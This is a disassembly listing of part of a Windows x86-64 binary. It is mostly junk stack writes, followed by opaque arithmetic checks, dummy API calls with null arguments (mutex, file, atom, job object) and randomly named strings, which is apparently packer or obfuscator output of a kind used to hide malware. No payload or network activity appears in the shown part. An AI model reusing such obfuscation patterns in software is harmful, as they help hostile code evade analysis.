movabs rax, 0x70d85448beaea3
mov qword [rsp + 0xc8a8], rax
mov eax, 0x39d
mov word [rsp + 0x1ce8], ax
movabs rax, 0x7ab9460c4735ea
mov qword [rsp + 0xc8b0], rax
movabs rax, 0x7d89011cd27533
mov qword [rsp + 0xc8b8], rax
mov eax, 0x5c0
mov word [rsp + 0x1cec], ax
movabs rax, 0x7bd33474d15b8d
mov qword [rsp + 0xc8c0], rax
mov eax, 0x208
mov word [rsp + 0x1cf0], ax
mov eax, 0x129
mov word [rsp + 0x1cf4], ax
mov byte [rsp + 0x3a8], 0xc2
mov eax, 0x8b0
mov word [rsp + 0x1cf8], ax
movabs rax, 0x721255820b9bc5
mov qword [rsp + 0xc8c8], rax
mov eax, 0xf07
mov word [rsp + 0x1cfc], ax
mov eax, 0xab6
mov word [rsp + 0x1d00], ax
mov dword [rsp + 0x60f4], 0xd083
movabs rax, 0x75db8062402e1e
mov qword [rsp + 0xc8d0], rax
mov byte [rsp + 0x3a9], 0x36
mov byte [rsp + 0x3aa], 0x17
movabs rax, 0x7ee3ff6015c2ee
mov qword [rsp + 0xc8d8], rax
movabs rax, 0x7d79f69530bbd1
mov qword [rsp + 0xc8e0], rax
mov dword [rsp + 0x60f8], 0xf8e5
mov eax, 0x402
mov word [rsp + 0x1d04], ax
movabs rax, 0x7b0caee46bc8ce
mov qword [rsp + 0xc8e8], rax
mov byte [rsp + 0x3ab], 0x5d
mov eax, 0xb1f
mov word [rsp + 0x1d08], ax
mov byte [rsp + 0x3ac], 0x1a
mov dword [rsp + 0x60fc], 0x1a5
mov dword [rsp + 0x6100], 0xcb6
mov byte [rsp + 0x3ad], 0x5e
mov byte [rsp + 0x3ae], 0x56
movabs rax, 0x7d44e1810c20d3
mov qword [rsp + 0xc8f0], rax
mov dword [rsp + 0x6104], 0x8e73
movabs rax, 0x703904e6b23c46
mov qword [rsp + 0xc8f8], rax
mov eax, 0x44e
mov word [rsp + 0x1d0c], ax
mov byte [rsp + 0x3af], 0x97
mov byte [rsp + 0x3b0], 0x57
mov byte [rsp + 0x3b1], 0x46
mov eax, 0x4a7
mov word [rsp + 0x1d10], ax
movabs rax, 0x7378a7a1e1a96f
mov qword [rsp + 0xc900], rax
mov dword [rsp + 0x6108], 0x54ca
mov dword [rsp + 0x610c], 0x7a91
mov eax, 0x369
mov word [rsp + 0x1d14], ax
mov eax, 0xdd
mov word [rsp + 0x1d18], ax
movabs rax, 0x773703d24489c4
mov qword [rsp + 0xc908], rax
mov eax, 0x131
mov word [rsp + 0x1d1c], ax
mov eax, 0x501
mov word [rsp + 0x1d20], ax
mov byte [rsp + 0x3b2], 0x44
mov byte [rsp + 0x3b3], 0x4f
mov dword [rsp + 0x6110], 0x3b81
mov eax, 0x7ec
mov word [rsp + 0x1d24], ax
mov dword [rsp + 0x6114], 0x2605
movabs rax, 0x7562ac81442e3c
mov qword [rsp + 0xc910], rax
mov byte [rsp + 0x3b4], 0x17
mov dword [rsp + 0x6118], 0x3ebe
mov byte [rsp + 0x3b5], 0x3a
mov byte [rsp + 0x3b6], 0x2d
mov eax, 0x36d
mov word [rsp + 0x1d28], ax
mov byte [rsp + 0x3b7], 0x4a
mov eax, 0x6de
mov word [rsp + 0x1d2c], ax
mov byte [rsp + 0x3b8], 0xc9
mov dword [rsp + 0x611c], 0x8154
mov dword [rsp + 0x6120], 0x3b46
mov byte [rsp + 0x3b9], 0xd2
mov eax, 0xcf1
mov word [rsp + 0x1d30], ax
mov eax, 0x4ec
mov word [rsp + 0x1d34], ax
movabs rax, 0x7c70912afbb8dc
mov qword [rsp + 0xc918], rax
movabs rax, 0x77129687ff37c6
mov qword [rsp + 0xc920], rax
movabs rax, 0x7afb3248d9bb65
mov qword [rsp + 0xc928], rax
mov eax, 0xa4
mov word [rsp + 0x1d38], ax
mov byte [rsp + 0x3ba], 0
mov dword [rsp + 0x6124], 0x54bf
movabs rax, 0x732361f8b14320
mov qword [rsp + 0xc930], rax
movabs rax, 0x75444ca5f84ce9
mov qword [rsp + 0xc938], rax
movabs rax, 0x7e2563c9953667
mov qword [rsp + 0xc940], rax
mov byte [rsp + 0x3bb], 0xfc
movabs rax, 0x7b1b843e721093
mov qword [rsp + 0xc948], rax
mov eax, 0x496
mov word [rsp + 0x1d3c], ax
movabs rax, 0x79cf9c1b8b1116
mov qword [rsp + 0xc950], rax
movabs rax, 0x73e3242c8212d3
mov qword [rsp + 0xc958], rax
mov dword [rsp + 0x6128], 0xa840
mov byte [rsp + 0x3bc], 0x5f
mov eax, 0x383
mov word [rsp + 0x1d40], ax
mov byte [rsp + 0x3bd], 0x2b
mov byte [rsp + 0x3be], 0xec
mov byte [rsp + 0x3bf], 1
mov dword [rsp + 0x612c], 0x2a9d
mov dword [rsp + 0x6130], 0x89d
movabs rax, 0x7153e0e3e06a98
mov qword [rsp + 0xc960], rax
mov dword [rsp + 0x6134], 0x43d8
movabs rax, 0x77f0378ecf21a6
mov qword [rsp + 0xc968], rax
mov byte [rsp + 0x3c0], 0x1b
mov eax, 0xe90
mov word [rsp + 0x1d44], ax
mov dword [rsp + 0x6138], 0xffea
mov dword [rsp + 0x613c], 0x6a4b
mov eax, 0x8aa
mov word [rsp + 0x1d48], ax
movabs rax, 0x7837d5acd11b2f
mov qword [rsp + 0xc970], rax
mov dword [rsp + 0x6140], 0x432a
mov dword [rsp + 0x6144], 0x4b35
mov byte [rsp + 0x3c1], 0x5f
movabs rax, 0x7ed8da4949a8b6
mov qword [rsp + 0xc978], rax
movabs rax, 0x7786d3fa094c89
mov qword [rsp + 0xc980], rax
mov dword [rsp + 0x6148], 0xb606
mov dword [rsp + 0x614c], 0x7e0a
mov dword [rsp + 0x6150], 0x451
movabs rax, 0x74b2ef8da98ea2
mov qword [rsp + 0xc988], rax
movabs rax, 0x74f66769556fef
mov qword [rsp + 0xc990], rax
mov dword [rsp + 0x6154], 0x1322
movabs rax, 0x7294c04e72eda2
mov qword [rsp + 0xc998], rax
mov byte [rsp + 0x3c2], 0x6a
movabs rax, 0x7be4885e5516b0
mov qword [rsp + 0xc9a0], rax
mov eax, 0x221
mov word [rsp + 0x1d4c], ax
movabs rax, 0x7dec6cdfd23105
mov qword [rsp + 0xc9a8], rax
mov byte [rsp + 0x3c3], 0x61
mov eax, 0x17e
mov word [rsp + 0x1d50], ax
movabs rax, 0x7eca8e501baa42
mov qword [rsp + 0xc9b0], rax
mov byte [rsp + 0x3c4], 0x72
movabs rax, 0x782c145541e73f
mov qword [rsp + 0xc9b8], rax
movabs rax, 0x7b3e1910dc3d8b
mov qword [rsp + 0xc9c0], rax
movabs rax, 0x7a2271d288df48
mov qword [rsp + 0xc9c8], rax
mov eax, 0x572
mov word [rsp + 0x1d54], ax
movabs rax, 0x7e080144315d7d
mov qword [rsp + 0xc9d0], rax
movabs rax, 0x7df1270fe4a377
mov qword [rsp + 0xc9d8], rax
mov eax, 0x421
mov word [rsp + 0x1d58], ax
mov dword [rsp + 0x6158], 0x6cb4
mov dword [rsp + 0x615c], 0x2e66
mov eax, 0x217
mov word [rsp + 0x1d5c], ax
mov dword [rsp + 0x6160], 0x7090
mov byte [rsp + 0x3c5], 0
mov byte [rsp + 0x3c6], 0x2a
mov dword [rsp + 0x6164], 0x3fac
mov byte [rsp + 0x3c7], 0x59
mov byte [rsp + 0x3c8], 0xf8
movabs rax, 0x7dd501c3e13d38
mov qword [rsp + 0xc9e0], rax
movabs rax, 0x7d685e4da87f87
mov qword [rsp + 0xc9e8], rax
movabs rax, 0x7b0b0c9ee111f4
mov qword [rsp + 0xc9f0], rax
mov eax, 0x45d
mov word [rsp + 0x1d60], ax
movabs rax, 0x73907efa434ec5
mov qword [rsp + 0xc9f8], rax
mov dword [rsp + 0x6168], 0x391e
movabs rax, 0x711d6a6d30715a
mov qword [rsp + 0xca00], rax
mov eax, 0x230
mov word [rsp + 0x1d64], ax
mov eax, 0xfd6
mov word [rsp + 0x1d68], ax
mov eax, 0xa0e
mov word [rsp + 0x1d6c], ax
movabs rax, 0x7abe1c2b093d12
mov qword [rsp + 0xca08], rax
movabs rax, 0x7cb973f85f637e
mov qword [rsp + 0xca10], rax
mov eax, 0x17a
mov word [rsp + 0x1d70], ax
mov dword [rsp + 0x616c], 0x57ec
mov eax, 0x772
mov word [rsp + 0x1d74], ax
movabs rax, 0x7240f4658d7945
mov qword [rsp + 0xca18], rax
movabs rax, 0x7b72a242241a99
mov qword [rsp + 0xca20], rax
mov byte [rsp + 0x3c9], 0x89
movabs rax, 0x71872c9cf27154
mov qword [rsp + 0xca28], rax
mov eax, 0x73c
mov word [rsp + 0x1d78], ax
mov eax, 0x340
mov word [rsp + 0x1d7c], ax
movabs rax, 0x786e35dcb78391
mov qword [rsp + 0xca30], rax
mov dword [rsp + 0x6170], 0x79e
mov eax, 0x267
mov word [rsp + 0x1d80], ax
movabs rax, 0x7afe7363ba2f65
mov qword [rsp + 0xca38], rax
movabs rax, 0x7702e09d2f2c7b
mov qword [rsp + 0xca40], rax
movabs rax, 0x72599cc3411b5d
mov qword [rsp + 0xca48], rax
movabs rax, 0x7aafb5f21d9429
mov qword [rsp + 0xca50], rax
mov dword [rsp + 0x6174], 0xc2d
mov eax, 0x28b
mov word [rsp + 0x1d84], ax
mov byte [rsp + 0x3ca], 0x56
movabs rax, 0x744e1d27fd7fdd
mov qword [rsp + 0xca58], rax
mov eax, 0x507
mov word [rsp + 0x1d88], ax
mov byte [rsp + 0x3cb], 0x13
movabs rax, 0x7af3802f43d710
mov qword [rsp + 0xca60], rax
movabs rax, 0x79ded7bbc20b4f
mov qword [rsp + 0xca68], rax
movabs rax, 0x7a878a47608306
mov qword [rsp + 0xca70], rax
mov eax, 0xafe
mov word [rsp + 0x1d8c], ax
movabs rax, 0x73680ae2ac4291
mov qword [rsp + 0xca78], rax
mov byte [rsp + 0x3cc], 0x8b
mov dword [rsp + 0x6178], 0x5fd8
movabs rax, 0x74f60cc01ff0c7
mov qword [rsp + 0xca80], rax
mov byte [rsp + 0x3cd], 0x81
mov eax, 0xc11
mov word [rsp + 0x1d90], ax
mov dword [rsp + 0x617c], 0x196a
movabs rax, 0x700115f8840c3a
mov qword [rsp + 0xca88], rax
mov eax, 0x56b
mov word [rsp + 0x1d94], ax
mov dword [rsp + 0x6180], 0x7ae8
mov eax, 0x643
mov word [rsp + 0x1d98], ax
mov dword [rsp + 0x6184], 0x65d5
movabs rax, 0x70d8e8c205a5a7
mov qword [rsp + 0xca90], rax
mov eax, 0x1e2
mov word [rsp + 0x1d9c], ax
mov eax, 0x6df
mov word [rsp + 0x1da0], ax
mov byte [rsp + 0x3ce], 0x21
mov eax, 0x329
mov word [rsp + 0x1da4], ax
mov eax, 0x749
mov word [rsp + 0x1da8], ax
mov byte [rsp + 0x3cf], 0xb1
mov byte [rsp + 0x3d0], 0xd3
movabs rax, 0x79d249cdc61b7d
mov qword [rsp + 0xca98], rax
mov dword [rsp + 0x6188], 0x3606
movabs rax, 0x73fc1bb85af5c3
mov qword [rsp + 0xcaa0], rax
mov byte [rsp + 0x3d1], 3
mov dword [rsp + 0x618c], 0x69c3
mov eax, 0x2af
mov word [rsp + 0x1dac], ax
movabs rax, 0x7103e764c91816
mov qword [rsp + 0xcaa8], rax
mov eax, 0x8c7
mov word [rsp + 0x1db0], ax
mov eax, 0x1bf
mov word [rsp + 0x1db4], ax
mov eax, 0x536
mov word [rsp + 0x1db8], ax
mov dword [rsp + 0x6190], 0x2b1
mov eax, 0x442
mov word [rsp + 0x1dbc], ax
mov byte [rsp + 0x3d2], 6
movabs rax, 0x7ac5cccefa2b3f
mov qword [rsp + 0xcab0], rax
movabs rax, 0x7e858c73f82576
mov qword [rsp + 0xcab8], rax
mov dword [rsp + 0x6194], 0x65ee
movabs rax, 0x7a9639b1ed36eb
mov qword [rsp + 0xcac0], rax
mov dword [rsp + 0x6198], 0x2b4
mov eax, 0x538
mov word [rsp + 0x1dc0], ax
mov dword [rsp + 0x619c], 0xdd15
mov byte [rsp + 0x3d3], 0xe9
movabs rax, 0x7cfe64b849df8d
mov qword [rsp + 0xcac8], rax
movabs rax, 0x74a237ee21945a
mov qword [rsp + 0xcad0], rax
movabs rax, 0x7a4f5f72091c13
mov qword [rsp + 0xcad8], rax
mov eax, 0x427
mov word [rsp + 0x1dc4], ax
mov dword [rsp + 0x61a0], 0xd795
mov eax, 0x26d
mov word [rsp + 0x1dc8], ax
mov eax, 0x695
mov word [rsp + 0x1dcc], ax
mov byte [rsp + 0x3d4], 0x22
movabs rax, 0x72469bab480d27
mov qword [rsp + 0xcae0], rax
mov byte [rsp + 0x3d5], 0x6a
movabs rax, 0x70d409c2ecc30a
mov qword [rsp + 0xcae8], rax
mov byte [rsp + 0x3d6], 0xaa
mov eax, 0x362
mov word [rsp + 0x1dd0], ax
mov eax, 0xc38
mov word [rsp + 0x1dd4], ax
mov byte [rsp + 0x3d7], 4
movabs rax, 0x79a3165a0f06b1
mov qword [rsp + 0xcaf0], rax
mov eax, 0x24e
mov word [rsp + 0x1dd8], ax
movabs rax, 0x79094bc7e80bba
mov qword [rsp + 0xcaf8], rax
mov byte [rsp + 0x3d8], 0x7e
mov eax, 0x78a
mov word [rsp + 0x1ddc], ax
mov dword [rsp + 0x61a4], 0xfd70
movabs rax, 0x7c18f6a570bd1f
mov qword [rsp + 0xcb00], rax
mov eax, 0x635
mov word [rsp + 0x1de0], ax
mov byte [rsp + 0x3d9], 0x3b
mov byte [rsp + 0x3da], 0xa7
movabs rax, 0x7d0567351dcfd2
mov qword [rsp + 0xcb08], rax
mov byte [rsp + 0x3db], 0xc1
mov byte [rsp + 0x3dc], 0x3f
movabs rax, 0x70a84c6d2b77af
mov qword [rsp + 0xcb10], rax
mov dword [rsp + 0x61a8], 0x5765
mov byte [rsp + 0x3dd], 0x5f
movabs rax, 0x70cb666047f714
mov qword [rsp + 0xcb18], rax
mov byte [rsp + 0x3de], 0xbd
mov byte [rsp + 0x3df], 0x3f
mov eax, 0x4b6
mov word [rsp + 0x1de4], ax
mov byte [rsp + 0x3e0], 0x5a
movabs rax, 0x71e9b9123d659c
mov qword [rsp + 0xcb20], rax
mov dword [rsp + 0x61ac], 0x1c1d
mov byte [rsp + 0x3e1], 0x73
mov dword [rsp + 0x61b0], 0x17c7
mov eax, 0x48a
mov word [rsp + 0x1de8], ax
movabs rax, 0x7b3073f954cedc
mov qword [rsp + 0xcb28], rax
movabs rax, 0x73d2a8779dae13
mov qword [rsp + 0xcb30], rax
mov dword [rsp + 0x61b4], 0x55a6
mov eax, 0xf0c
mov word [rsp + 0x1dec], ax
mov byte [rsp + 0x3e2], 0x47
mov dword [rsp + 0x61b8], 0x4d37
mov dword [rsp + 0x61bc], 0x5e2c
movabs rax, 0x708c09c2274fe9
mov qword [rsp + 0xcb38], rax
movabs rax, 0x782dc8830d75e5
mov qword [rsp + 0xcb40], rax
mov eax, 0x43a
mov word [rsp + 0x1df0], ax
mov dword [rsp + 0x61c0], 0xda2
movabs rax, 0x7d844b0eb643b2
mov qword [rsp + 0xcb48], rax
mov byte [rsp + 0x3e3], 0x71
mov dword [rsp + 0x61c4], 0x4caa
mov eax, 0x9d
mov word [rsp + 0x1df4], ax
mov dword [rsp + 0x61c8], 0x48ad
mov dword [rsp + 0x61cc], 0x4c27
mov eax, 0x71d
mov word [rsp + 0x1df8], ax
mov dword [rsp + 0x61d0], 0x933
mov eax, 0xa46
mov word [rsp + 0x1dfc], ax
mov eax, 0x16
mov word [rsp + 0x1e00], ax
movabs rax, 0x70edee7f9e5bd7
mov qword [rsp + 0xcb50], rax
movabs rax, 0x711747043fc019
mov qword [rsp + 0xcb58], rax
mov dword [rsp + 0x61d4], 0xfc9a
movabs rax, 0x73b21f6ce05a4c
mov qword [rsp + 0xcb60], rax
mov dword [rsp + 0x61d8], 0x73c7
mov dword [rsp + 0x61dc], 0xcd9
mov eax, 0x4cf
mov word [rsp + 0x1e04], ax
movabs rax, 0x74a73796a4f886
mov qword [rsp + 0xcb68], rax
mov byte [rsp + 0x3e4], 9
movabs rax, 0x7a6d1b2e6efd69
mov qword [rsp + 0xcb70], rax
mov eax, 0x7ba
mov word [rsp + 0x1e08], ax
mov byte [rsp + 0x3e5], 0xd
mov byte [rsp + 0x3e6], 0x4c
movabs rax, 0x78d162d87694b5
mov qword [rsp + 0xcb78], rax
mov eax, 0x451
mov word [rsp + 0x1e0c], ax
mov eax, 0x6c7
mov word [rsp + 0x1e10], ax
mov eax, 0x6cc
mov word [rsp + 0x1e14], ax
movabs rax, 0x78c00b8112c8de
mov qword [rsp + 0xcb80], rax
mov byte [rsp + 0x3e7], 0xc7
mov dword [rsp + 0x61e0], 0x4a00
mov dword [rsp + 0x61e4], 0x67a8
mov dword [rsp + 0x61e8], 0x916b
movabs rax, 0x7560628cb341bc
mov qword [rsp + 0xcb88], rax
mov dword [rsp + 0x61ec], 0xbb4d
movabs rax, 0x749a8ba629c3d8
mov qword [rsp + 0xcb90], rax
mov byte [rsp + 0x3e8], 0x5a
mov byte [rsp + 0x3e9], 0x6b
mov dword [rsp + 0x61f0], 0x6e5f
mov byte [rsp + 0x3ea], 0x3f
movabs rax, 0x7810ef5e8798ec
mov qword [rsp + 0xcb98], rax
mov eax, 0xe1
mov word [rsp + 0x1e18], ax
mov byte [rsp + 0x3eb], 0x96
movabs rax, 0x779c59445f7f60
mov qword [rsp + 0xcba0], rax
mov eax, 0x5d5
mov word [rsp + 0x1e1c], ax
mov dword [rsp + 0x61f4], 0x190a
mov byte [rsp + 0x3ec], 0xe6
mov eax, 0x3a3
mov word [rsp + 0x1e20], ax
movabs rax, 0x744d2f69612a10
mov qword [rsp + 0xcba8], rax
mov dword [rsp + 0x61f8], 0x38c3
mov byte [rsp + 0x3ed], 0xbc
movabs rax, 0x714560b01fc52c
mov qword [rsp + 0xcbb0], rax
mov byte [rsp + 0x3ee], 0x7d
mov byte [rsp + 0x3ef], 0x49
mov dword [rsp + 0x61fc], 0x7f32
mov dword [rsp + 0x6200], 0xec41
mov byte [rsp + 0x3f0], 0
mov byte [rsp + 0x3f1], 0x72
movabs rax, 0x7a8d256b59e5f9
mov qword [rsp + 0xcbb8], rax
mov byte [rsp + 0x3f2], 0x67
movabs rax, 0x76a945e03f242a
mov qword [rsp + 0xcbc0], rax
movabs rax, 0x76d626c7aeb2f4
mov qword [rsp + 0xcbc8], rax
movabs rax, 0x72ac6d25130292
mov qword [rsp + 0xcbd0], rax
movabs rax, 0x7009eaafd1d3ca
mov qword [rsp + 0xcbd8], rax
mov byte [rsp + 0x3f3], 0xf0
movabs rax, 0x7291c6a8f2183c
mov qword [rsp + 0xcbe0], rax
mov eax, 0x147
mov word [rsp + 0x1e24], ax
mov eax, 0x757
mov word [rsp + 0x1e28], ax
mov dword [rsp + 0x6204], 0x3168
mov eax, 0x497
mov word [rsp + 0x1e2c], ax
movabs rax, 0x743467a33a2d4e
mov qword [rsp + 0xcbe8], rax
mov eax, 0x255
mov word [rsp + 0x1e30], ax
mov eax, 0x3a7
mov word [rsp + 0x1e34], ax
movabs rax, 0x7d5d7ae8d0d8f9
mov qword [rsp + 0xcbf0], rax
mov byte [rsp + 0x3f4], 0x15
mov eax, 0x748
mov word [rsp + 0x1e38], ax
mov eax, 0x3fc
mov word [rsp + 0x1e3c], ax
movabs rax, 0x7c64158c301ab5
mov qword [rsp + 0xcbf8], rax
mov eax, 0xce7
mov word [rsp + 0x1e40], ax
mov dword [rsp + 0x6208], 0x6e79
mov eax, 0xd10
mov word [rsp + 0x1e44], ax
mov dword [rsp + 0x620c], 0xe19a
mov dword [rsp + 0x6210], 0x75af
movabs rax, 0x758507ad331209
mov qword [rsp + 0xcc00], rax
movabs rax, 0x788cdace02beb7
mov qword [rsp + 0xcc08], rax
mov byte [rsp + 0x3f5], 0x68
mov dword [rsp + 0x6214], 0x206d
mov dword [rsp + 0x6218], 0x63da
mov dword [rsp + 0x621c], 0x4775
mov dword [rsp + 0x6220], 0xdfd0
movabs rax, 0x7c3c0fef6ec9dc
mov qword [rsp + 0xcc10], rax
mov eax, 0xa1
mov word [rsp + 0x1e48], ax
mov byte [rsp + 0x3f6], 0x3f
movabs rax, 0x7e4168622920a7
mov qword [rsp + 0xcc18], rax
mov dword [rsp + 0x6224], 0x74ba
mov eax, 0x1c9
mov word [rsp + 0x1e4c], ax
movabs rax, 0x763cd462845238
mov qword [rsp + 0xcc20], rax
movabs rax, 0x7a3b93a1577334
mov qword [rsp + 0xcc28], rax
mov dword [rsp + 0x6228], 0x5ed8
mov byte [rsp + 0x3f7], 0xfc
mov dword [rsp + 0x622c], 0xb4ff
mov dword [rsp + 0x6230], 0x1c2b
movabs rax, 0x7c38479479f98f
mov qword [rsp + 0xcc30], rax
mov dword [rsp + 0x6234], 0x7a83
mov byte [rsp + 0x3f8], 0xb1
mov dword [rsp + 0x6238], 0xf3ee
movabs rax, 0x7c86c3e849bcf3
mov qword [rsp + 0xcc38], rax
mov eax, 0x54
mov word [rsp + 0x1e50], ax
mov byte [rsp + 0x3f9], 0x75
mov byte [rsp + 0x3fa], 0x7e
mov byte [rsp + 0x3fb], 0xbe
movabs rax, 0x7737bedea9afd8
mov qword [rsp + 0xcc40], rax
mov dword [rsp + 0x623c], 0x21ff
movabs rax, 0x7030cbd48e7810
mov qword [rsp + 0xcc48], rax
mov byte [rsp + 0x3fc], 0xb9
mov byte [rsp + 0x3fd], 0x55
mov eax, 0x5b7
mov word [rsp + 0x1e54], ax
mov eax, 0x6a5
mov word [rsp + 0x1e58], ax
mov eax, 0x248
mov word [rsp + 0x1e5c], ax
mov byte [rsp + 0x3fe], 0xc4
mov byte [rsp + 0x3ff], 2
mov dword [rsp + 0x6240], 0x9547
movabs rax, 0x7aad04a6bd5460
mov qword [rsp + 0xcc50], rax
movabs rax, 0x7231d5c9b5983e
mov qword [rsp + 0xcc58], rax
movabs rax, 0x7b5826d89599d4
mov qword [rsp + 0xcc60], rax
mov eax, 0x51c
mov word [rsp + 0x1e60], ax
movabs rax, 0x705a57fcacc4b4
mov qword [rsp + 0xcc68], rax
mov byte [rsp + 0x400], 0x75
movabs rax, 0x784dcf019200e6
mov qword [rsp + 0xcc70], rax
mov byte [rsp + 0x401], 0x6e
mov byte [rsp + 0x402], 0xbf
mov byte [rsp + 0x403], 0xba
mov dword [rsp + 0x6244], 0x392a
movabs rax, 0x7d1b96f6fb5444
mov qword [rsp + 0xcc78], rax
mov eax, 0xb4a
mov word [rsp + 0x1e64], ax
mov eax, 0x3ba
mov word [rsp + 0x1e68], ax
mov dword [rsp + 0x6248], 0x492a
movabs rax, 0x7c74bcde1eca5c
mov qword [rsp + 0xcc80], rax
movabs rax, 0x7247cfd28d33c3
mov qword [rsp + 0xcc88], rax
mov dword [rsp + 0x624c], 0x2fee
mov byte [rsp + 0x404], 0x11
mov dword [rsp + 0x6250], 0x40cb
movabs rax, 0x70222778780a5e
mov qword [rsp + 0xcc90], rax
mov dword [rsp + 0x6254], 0xf09c
movabs rax, 0x7b208cb35b2482
mov qword [rsp + 0xcc98], rax
movabs rax, 0x78050fdda9afc5
mov qword [rsp + 0xcca0], rax
movabs rax, 0x7478d54e68ed6f
mov qword [rsp + 0xcca8], rax
mov eax, 0xfb4
mov word [rsp + 0x1e6c], ax
mov byte [rsp + 0x405], 0x70
mov eax, 0x660
mov word [rsp + 0x1e70], ax
movabs rax, 0x79f58c38caf64d
mov qword [rsp + 0xccb0], rax
mov eax, 0x3f4
mov word [rsp + 0x1e74], ax
mov eax, 0x210
mov word [rsp + 0x1e78], ax
mov byte [rsp + 0x406], 7
mov eax, 0x4a4
mov word [rsp + 0x1e7c], ax
mov byte [rsp + 0x407], 0x6a
mov dword [rsp + 0x6258], 0x892
mov dword [rsp + 0x625c], 0x2f42
movabs rax, 0x72ca01969d197c
mov qword [rsp + 0xccb8], rax
mov byte [rsp + 0x408], 0x34
mov eax, 0x637
mov word [rsp + 0x1e80], ax
movabs rax, 0x7989ff0d89e684
mov qword [rsp + 0xccc0], rax
movabs rax, 0x76a6c131a66232
mov qword [rsp + 0xccc8], rax
mov dword [rsp + 0x6260], 0xf0b3
mov byte [rsp + 0x409], 0x3d
movabs rax, 0x745ec74df52b41
mov qword [rsp + 0xccd0], rax
movabs rax, 0x706d617c9657b8
mov qword [rsp + 0xccd8], rax
mov eax, 0x612
mov word [rsp + 0x1e84], ax
mov byte [rsp + 0x40a], 0x8f
mov byte [rsp + 0x40b], 0x3e
mov byte [rsp + 0x40c], 0x7e
movabs rax, 0x79bd80e90ef2d2
mov qword [rsp + 0xcce0], rax
mov dword [rsp + 0x6264], 0xb888
mov dword [rsp + 0x6268], 0x7e30
mov byte [rsp + 0x40d], 2
movabs rax, 0x7dbe3031f18bae
mov qword [rsp + 0xcce8], rax
mov byte [rsp + 0x40e], 0xd6
mov dword [rsp + 0x626c], 0x3983
mov byte [rsp + 0x40f], 0x4d
movabs rax, 0x751856f39f2e9d
mov qword [rsp + 0xccf0], rax
mov byte [rsp + 0x410], 0x7d
movabs rax, 0x7afdabd765ccd1
mov qword [rsp + 0xccf8], rax
movabs rax, 0x73fa9f77285df0
mov qword [rsp + 0xcd00], rax
mov eax, 0x86e
mov word [rsp + 0x1e88], ax
movabs rax, 0x72b64377a70f21
mov qword [rsp + 0xcd08], rax
mov eax, 0x3a7
mov word [rsp + 0x1e8c], ax
mov byte [rsp + 0x411], 0x86
movabs rax, 0x7eae7e04748b21
mov qword [rsp + 0xcd10], rax
mov byte [rsp + 0x412], 0x5c
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xcd18], rax
mov dword [rsp + 0x6270], 0xcdac
cmp dword [rsp + 0x6270], 0xbc6d
ja 0x14000ff28
mov eax, dword [rsp + 0x6270]
xor eax, 0x2c80
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6270]
shr eax, 0xa
mov dword [rsp + 0x6270], eax
mov eax, dword [rsp + 0x6270]
sub eax, 0xb7a1
mov dword [rsp + 0x6270], eax
lea rcx, [rsp + 0x1d2e0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameW]
mov dword [rsp + 0x6274], eax
mov r8d, dword [rsp + 0x6270]
mov dx, 0xc8
mov ecx, dword [rsp + 0x6270]
call fcn.1401878f0
jmp 0x14018771d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.JVPHwk00_t5xsDz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd20], rax
mov dword [rsp + 0x6278], 0x715c
mov dword [rsp + 0x627c], 0x60c1
mov eax, dword [0x1401a5390]
add eax, 0x7114
mov dword [0x1401a5390], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.GGTwWcvOdOeoVUImuv
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd28], rax
movzx eax, word [rsp + 0x1d90]
imul eax, eax, 0x12d
mov word [rsp + 0x1d90], ax
mov dword [rsp + 0x6280], 0x19ba
lea rcx, str.dx0T_FgOKs_Ujrd
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1e90], ax
mov eax, 0xe2
mov word [rsp + 0x1e94], ax
movabs rax, 0x7c0c5962213fa4
mov qword [rsp + 0xcd30], rax
mov eax, dword [rsp + 0x6270]
and eax, 0x2e31
mov dword [rsp + 0x54ac], eax
mov byte [rsp + 0x413], 0x4a
mov dword [rsp + 0x6284], 0xe262
mov dword [rsp + 0x6288], 0xb980
mov eax, dword [rsp + 0x54ac]
mov dword [0x1401b4410], eax
lea rcx, str.W6snt7_lCohBej
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1e98], ax
movabs rax, 0x7d95ea512e9f55
mov qword [rsp + 0xcd38], rax
mov dword [rsp + 0x628c], 0x3a19
mov dword [rsp + 0x6290], 0xbec7
mov dword [rsp + 0x6294], 0xc03c
mov dword [rsp + 0x6298], 0xd14a
mov eax, dword [0x1401a5390]
mov dword [rsp + 0x629c], eax
cmp dword [rsp + 0x629c], 0x153a
je 0x1400100dd
jmp 0x140010115
movabs rax, 0x776875f330ccb4
mov rcx, qword [rsp + 0xcd38]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xcd38], rax
movzx eax, word [rsp + 0x1d90]
sar eax, 3
mov word [rsp + 0x1d90], ax
jmp 0x14018766e
lea rax, [rsp + 0xcd38]
mov qword [rsp + 0xcd40], rax
lea rax, [rsp + 0x1e94]
mov qword [rsp + 0xcd48], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x62a0], 0xd1e1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 8
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.6geeU1ZL5nuNkd
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xcd50], rax
mov dword [rsp + 0x62a4], 0x97c3
movzx eax, byte [rsp + 0x413]
cdq
mov ecx, 0x11
idiv ecx
mov byte [rsp + 0x1ce], al
mov byte [rsp + 0x414], 0x2e
mov rax, qword [rsp + 0xcd30]
